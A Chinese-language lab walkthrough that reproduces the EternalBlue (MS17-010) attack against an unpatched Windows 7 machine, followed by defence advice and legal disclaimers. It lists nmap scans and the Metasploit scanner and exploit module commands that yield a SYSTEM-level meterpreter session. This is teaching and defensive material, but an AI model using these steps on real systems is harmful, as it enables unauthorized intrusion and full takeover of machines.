从零重现永恒之蓝攻击:一次完整的Windows漏洞渗透实战
⚠️ 重要声明:本文所有操作均在授权并且是自己的实验环境中进行,仅作技术研究。未经授权的渗透测试属于违法行为!请严格遵守相关法律法规。
漏洞背景
永恒之蓝(EternalBlue)是NSA泄露的Windows SMB协议高危漏洞(MS17-010),攻击者可通过445端口远程执行代码。2017年WannaCry勒索病毒正是利用此漏洞席卷全球,造成了巨大的经济损失。
实验环境配置
| 角色 | 系统 | IP地址 | 说明 |
|---|---|---|---|
| 🎯 攻击机 | Kali Linux | 192.168.23.139 | 渗透测试平台 |
| 💻 靶机 | Windows 7 SP1 | 192.168.23.140 | 未打补丁的测试系统 |
渗透实战全流程
步骤1:网络侦察 - 发现目标
首先进行网络扫描,发现存活主机:
1 | nmap -sP 192.168.23.0/24 |
作用:扫描整个网段存活主机(类似挨家挨户敲门确认是否有人)
结果:发现靶机IP 192.168.23.140

💡 技术小白贴士:-sP 参数让Nmap发送ICMP探测包,如同网络世界的”雷达扫描”
步骤2:启动攻击平台
启动Metasploit渗透测试框架:
1 | msfconsole |
作用:启动渗透测试框架Metasploit(相当于打开黑客工具箱)

通过set rhosts命令,达到扫描网段的效果:


步骤3:连通性验证
确保攻击机和靶机之间网络连通:
1 | # Kali执行 |
关键点:双方能互相ping通是攻击基础(如同确认两条水管已连接)


步骤4:精准端口扫描
对靶机进行详细的端口扫描:
1 | nmap -sT 192.168.23.140 |
发现:靶机开放445端口(SMB文件共享服务入口)

🔍 深入扫描:使用Metasploit的端口扫描模块二次确认
1 | use auxiliary/scanner/portscan/tcp |

步骤5:漏洞探测
使用专门的MS17-010漏洞扫描模块:
1 | use auxiliary/scanner/smb/smb_ms17_010 |
关键输出:[+] 192.168.23.140:445 - Host is likely VULNERABLE to MS17-010!

⚠️ 风险警示:此步确认目标存在”永恒之蓝”漏洞,如同发现房门未上锁
步骤6:发动攻击
使用永恒之蓝攻击模块:
1 | use exploit/windows/smb/ms17_010_eternalblue |
成功标志:出现 meterpreter > 交互式命令行

💥 攻击原理:利用SMB协议的内存处理缺陷,向靶机注入恶意代码(如同通过邮筒漏洞塞入万能钥匙)
后渗透验证
1. 权限确认
检查当前用户权限:
1 | getuid |
输出:NT AUTHORITY\SYSTEM(Windows最高权限账户)

2. 文件操作验证
验证是否具有完整的系统控制权:
1 | # 创建文件 |


1 | # 查看文件 |


防御建议
1️⃣ 及时更新系统
微软已于2017年发布MS17-010补丁,确保所有Windows系统及时更新
2️⃣ 关闭445端口
在防火墙中阻止外部SMB访问,特别是互联网直接访问
3️⃣ 启用网络隔离
将关键设备划分到独立网段,限制横向移动
4️⃣ 部署入侵检测
如Snort等工具监控异常SMB流量
5️⃣ 最小权限原则
限制用户权限,避免使用管理员账户进行日常操作
实验思考
永恒之蓝攻击链清晰展示了漏洞扫描→利用→提权的经典渗透流程。在万物互联的时代,一台未打补丁的Windows 7可能成为整个内网的沦陷起点。
技术要点总结
- 网络侦察:使用Nmap进行主机发现和端口扫描
- 漏洞验证:使用专门的扫描模块确认漏洞存在
- 攻击利用:选择合适的攻击载荷进行漏洞利用
- 权限维持:通过Meterpreter会话维持控制权
- 痕迹清理:清理攻击痕迹,避免被发现
安全启示
- 漏洞修复的及时性至关重要
- 网络分段和访问控制是基础防护
- 持续的安全监控和威胁检测必不可少
- 安全意识培训同样重要
法律声明
📌 法律红线:根据《网络安全法》第27条,任何未经授权的渗透行为均属违法!
本文仅用于技术学习和安全研究,请读者:
- 仅在授权的测试环境中进行实验
- 不得对任何未授权的系统进行渗透测试
- 遵守相关法律法规和道德准则
本文为技术研究文章,所有操作均在授权环境中进行。请读者严格遵守相关法律法规,不得用于非法用途。





